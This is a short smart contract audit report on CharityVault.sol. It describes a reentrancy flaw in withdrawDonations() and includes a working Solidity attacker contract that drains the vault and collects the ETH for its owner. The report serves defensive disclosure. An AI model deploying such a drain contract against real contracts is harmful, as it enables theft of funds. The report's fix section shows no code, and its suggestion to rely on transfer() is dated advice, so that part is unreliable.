Smart Contract Security Audit Report

Project Name: CharityVault.sol

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1. Summary

Category Description

Contract(s) Audited CharityVault.sol

Total Issues Found 1

2. Methodology

This audit was conducted through **manual review**, with a focus on identifying both common and subtle vulnerabilities.

It included:

- In-depth code walkthrough and logic analysis
- Manual vulnerability discovery
- Reproduction of exploit via attacker contract (PoE)
- Optional test-based Proof of Concept (PoC) using Foundry

3. 🕍 Issues

3.1 Reentrancy Vulnerability in withdrawDonations()

Severity: High

Impact: Full contract drain

Status: ✓ Confirmed — Unfixed

Description

Here i found one issue in withdrawDonations(). The function withdrawDonations() allows users to withdraw their donated ETH. However, it performs an **external call to msg.sender before updating the internal balance**, violating the **Checks-Effects-Interactions pattern**.

This enables a **reentrancy attack** where a malicious contract can re-enter withdrawDonations() via its receive() function, allowing repeated withdrawals before the user's balance is updated.

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Proof of Exploit (PoE)
solidity
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CharityVault.sol";
contract Attacker {
    CharityVault public vault;
    address public owner;
    constructor(address _vault) {
        vault = CharityVault(_vault);
        owner = msg.sender;
    }
    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");
        vault.donate{value: 1 ether}();
        vault.withdrawDonations(); // First call triggers fallback
    }
    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdrawDonations(); // Re-enter again
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} else {
          payable(owner).transfer(address(this).balance); // Collect
profits
          }
    }
}
```

Recommended Fix

Apply the Checks-Effects-Interactions pattern:

Alternatively, consider using **transfer()** with built-in gas limit (unless you expect smart contract users), or a reentrancy guard.

4. Conclusion

The CharityVault contract is vulnerable to a **critical reentrancy bug** in the withdrawDonations() function, which allows attackers to drain the entire balance.

The issue can be fully mitigated by **reordering the logic** or implementing a **reentrancy guard**. The exploit was demonstrated through a Proof of Exploit (PoE) attacker contract.

5. Files Audited

- CharityVault.sol
- Attacker.sol

6. References

- SWC-107: Reentrancy
- Solidity Docs Reentrancy